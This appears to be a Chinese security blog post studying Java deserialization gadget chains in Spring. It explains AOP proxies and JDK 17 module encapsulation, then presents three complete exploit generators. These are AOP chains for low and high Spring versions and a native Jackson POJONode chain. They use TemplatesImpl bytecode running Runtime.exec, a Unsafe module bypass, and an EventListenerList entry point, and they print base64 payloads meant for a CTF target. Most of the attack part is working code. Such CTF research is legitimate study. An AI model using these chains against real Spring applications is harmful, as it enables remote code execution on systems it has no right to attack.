JavaSec 15- Spring 系列链路
前言
从之前国赛前岳神提示的 SpringAOP 链子到上个月的原生 Spring 利用,拆开几个模块学习一下,恰好这次去湾区杯线下遇到这个题,我又偷懒导致没在比赛之前学完这俩链子(
part 1 - AOP
AOP 在这两条链子中都至关重要,简单点讲也就是两部分,拦截器和调用方法
初见 AOP
AOP(面向切面编程,Aspect-Oriented Programming) 用来把一些“横切逻辑”抽取出来,避免到处写重复代码。
横切逻辑指的是 日志、权限控制、事务、缓存、监控 之类的,不属于业务核心,但又在很多地方需要。
在 Spring 里,AOP 底层是通过 动态代理(JDK Proxy 或 CGLIB) 实现的。
- 切面(Aspect):横切逻辑的模块(类上用
@Aspect
标注)。 - 连接点(Join Point):程序执行的某个点(方法调用、异常抛出等)。
- 切点(Pointcut):筛选连接点的表达式(比如“所有 Service 层的方法”)。
- 通知(Advice):在切点位置执行的逻辑(前置、后置、环绕等)。
依赖导入
spring-boot-starter-aop
这个依赖就能包括spring-aop
和aspectJWeaver
这两个所需依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId>
</dependency>
在目标方法执行之前执行
@Aspect
@Component
public class LogAspect {
@Before("execution(* com.example.service.*.*(..))")
public void beforeMethod(JoinPoint joinPoint) {
System.out.println("调用方法: " + joinPoint.getSignature().getName());
}
}
AOP 动态代理与拦截器
上一次 AOP 在 Java 安全中比较广为人知的利用,是解决 AliyunCTF 2023 中只依赖于 Jackson 的原生反序列化利用链调用时获取类属性顺序的不稳定性的问题 ,在调用到 getOutputProperties 之前就报错导致无法正常使用
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 74 more
这里我们不多赘述 Jackson 的问题,只学习一下 AOP 是如何生效的
首先动态代理被代理的对象可以调用的方法取决于我们接口的设定,具体实现取决于 handler ,此时再使用反射 getDeclaredMethods 也会根据我们所设的接口来决定,就能确保稳定获取到我们想要的方法,于是我们要寻找一个 Spring 自带的代理——JdkDynamicAopProxy
看一下源码
advised
可控
重点是后面 invoke ,这个位置检查是否有配置拦截链,在 Jackson 那条走的是无拦截链的路线。
看一下 chain 是如何获取的 ,这一步还是 AdvisedSupport,关于代理对象配置,后面写链子要通过把内容或者拦截器注册在这个里面
org.springframework.aop.framework.AdvisedSupport#getInterceptorsAndDynamicInterceptionAdvice
进到 DefaultAdvisorChainFactory 看一下 getInterceptorsAndDynamicInterceptionAdvice
拿到 Advisors,最后通过
MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
获取到拦截器,MethodInterceptor
这个接口就是用于拦截前往 target 的方法调用,往其声明的invoke
方法添加拦截时要处理的逻辑
若 advice 是MethodInterceptor
类型,直接加入拦截器,构造 ReflectiveMethodInvocation
,调用 proceed()
按链条执行。
Advice 调用切面方法
在写切点之后,Spring AOP 在 AdvisedSupport
里会根据匹配结果,把 Advice
包装成拦截器。 比如:
MethodBeforeAdviceAdapter
→MethodBeforeAdviceInterceptor
AfterReturningAdviceAdapter
→AfterReturningAdviceInterceptor
AspectJAfterAdvice
→ 继承AbstractAspectJAdvice
这样,每个切面方法对应一个拦截器,加入到调用链中。
比如 AfterAdvice:
public Object invoke(MethodInvocation mi) throws Throwable {
try {
return mi.proceed(); // 继续传递链路
} finally {
invokeAdviceMethod(getJoinPointMatch(), null, null);
}
}
执行类是org.springframework.aop.aspectj.AbstractAspectJAdvice
的 invokeAdviceMethodWithGivenArgs 方法
invokeAdviceMethod
→ invokeAdviceMethodWithGivenArgs
:
protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
Object[] actualArgs = args;
if (this.aspectJAdviceMethod.getParameterCount() == 0) {
actualArgs = null;
}
ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
}
调用对象由this.aspectInstanceFactory.getAspectInstance()
获取下图这些工厂类
SingletonAspectInstanceFactory 单例工厂,直接返回对象 ,可以用于无参方法调用
part 2 - 模块化与强封装
从 Java 9 开始,JDK 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw ,从而去解决这些问题。
- classpath 混乱:所有 jar 包都丢进 classpath,JVM 不知道哪个依赖用哪个版本,出现依赖冲突。
- 可见性失控:只要类在 classpath 中,几乎所有类都能互相访问,缺乏强封装。
- JDK 体积庞大:JDK 里的类库都在一个大
rt.jar
里,哪怕只用一小部分功能,也得带上整个 JDK。 - 安全性不足:一些内部 API(比如
sun.misc.Unsafe
)虽然不是公开接口,但仍能通过 classpath 被直接调用,带来维护和安全问题。
原有的 Java 标准库已经由一个单一巨大的rt.jar
分拆成了几十个模块如下图
常用关键词:
[open] module <module>
: 声明一个模块,模块名称应全局唯一,不可重复。加上open
关键词表示模块内的所有包都允许通过 Java 反射访问,模块声明体内不再允许使用opens
语句。requires <module>
:技术部 → 人力资源部 (“我需要你”)【引入具体模块】requires transitive <module>
:谁依赖我,就会自动依赖我所依赖的那个模块。【引入具体模块并带有传递性】requires static <module>
: 编译时必须存在该依赖, 运行时不存在该依赖也行。(lombok 是经典案例, requires 是运行时都必须存在, 如果不存在直接不让运行程序...)exports <package> [to <module1>, <module2>...]
:人力资源部只开放招聘窗口 (“我只对外提供这个”)【导出具体的包到本模块中, to 语法表明只允许给哪个模块可忽略】uses <interface | abstract class>
/provides <interface | abstract class> with <class1>[, <class2> ...]
:技术部说需要日志服务 (“我需要个干日志的”),人力资源部说我能干 (“我就是干日志的”),然后公司(JVM)就把他们俩匹配上了。【为了支持 SPI 机制引入的关键词, 可以选择使用 /META-INF/services/接口名 进行定义, 或者使用 module-info.java 进行定义】opens <package> [to <module>[, <module2>...]]
: 开放模块内的包(允许通过 Java 反射访问),一次开放一个包,如果需要开放多个包,需要多次声明。如果需要定向开放,可以使用to
关键词,后面加上模块列表(逗号分隔)。
JDK 17 里,这一机制已经被完全强化,具体体现为:
- 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17, 这些类已经被模块系统强封装,默认不可访问。
- 强封装机制:模块之间的可见性由 module-info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问。
- 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,反射 访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被 InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 -add-opens 参数开放 模块或者使用 Java Agent/Instrumentation 来打破封装。
模块化绕过
这就会导致我们的 getOutputProperties 无法直接利用,常见的模块化绕过一般通过 Unsafe 类去改 module
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
然后在链子中,这个地方感觉只需要改这个主类就好了
ArrayList<Class> classes = new ArrayList<>();
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
TemplatesImpl 绕过
另一个模块化引起的问题就是我们利用 TemplatesImpl 的时候,被利用的目标都需要继承 AbstractTranslet,会导致报错,但其实这个不是必须继承的
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("aniale").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
反序列化入口
在JDK17里 BadAttributeValueExpException 利用不了,没有触发 toString 的点,换成 EventListenerList#readObject,这个熟悉最近新的 toString 链的一定不陌生
part 3 - 链路
AOP(低版本)
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
public class EXP {
public static void main(String[] args) throws Exception {
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(makeTemplatesImpl("calc"));
Method m = TemplatesImpl.class.getMethod("newTransformer");
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);
Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(interceptor);
advisedSupport.addAdvice(advice);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", proxy);
checkUnserialize(val);
}
public static Object makeTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "test");
return templates;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
public static void checkUnserialize(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
大致流程已经知道了,值得注意的点就是内部构造 ReflectiveMethodInvocation
时出现的问题,正常来讲,我们可以直接这么写
public static void main(String[] args) throws Exception {
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(makeTemplatesImpl("calc"));
Method m = TemplatesImpl.class.getMethod("newTransformer");
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(advice);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", proxy);
checkUnserialize(val);
}
但是这样会出现一个问题是找不到MethodInvocation
,也就是在JdkDynamicAopProxy
中实例化的ReflectiveMethodInvocation
但是报错信息里的ExposeInvocationInterceptor
类恰好有构造一个 MethodInvocation ,然后再注册进去就好
public Object invoke(MethodInvocation mi) throws Throwable {
MethodInvocation oldInvocation = invocation.get();
invocation.set(mi);
try {
return mi.proceed();
}
finally {
invocation.set(oldInvocation);
}
}
高版本 Spring 原生
import javax.swing.event.EventListenerList;
import java.io.*;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
// classes.add(TemplatesImpl.class);
// classes.add(POJONode.class);
// classes.add(EventListenerList.class);
// classes.add(SpringRCE.class);
// classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
这个生成需要额外的 VM 参数 ,不要加到程序实参,验证时不要带这个参数
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
AOP(高版本)
有了第二条链子的基础,我们把低版本的稍加改动得到这个
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Vector;
public class Test1 {
public static void main(String[] args) throws Exception {
ArrayList<Class> classes = new ArrayList<>();
classes.add(Method.class);
new Test1().bypassModule(classes);
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("aniale").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates, "_transletIndex", 0);
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
Method m = Templates.class.getMethod("newTransformer");
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
AspectJAroundAdvice advice = new AspectJAroundAdvice(m, pointcut, factory);
Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(interceptor);
advisedSupport.addAdvice(advice);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
EventListenerList eventListenerList = getEventListenerList(proxy);
printBase64SerializedString(eventListenerList);
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void printBase64SerializedString(Object obj) {
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
byte[] serializedBytes = baos.toByteArray();
String base64 = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
}
生成好的直接拿去打湾区杯的 ezjava 即可,只不过需要逆一下加密算法
后记
很久没发博客了,还有不少不完善的点不过先这样吧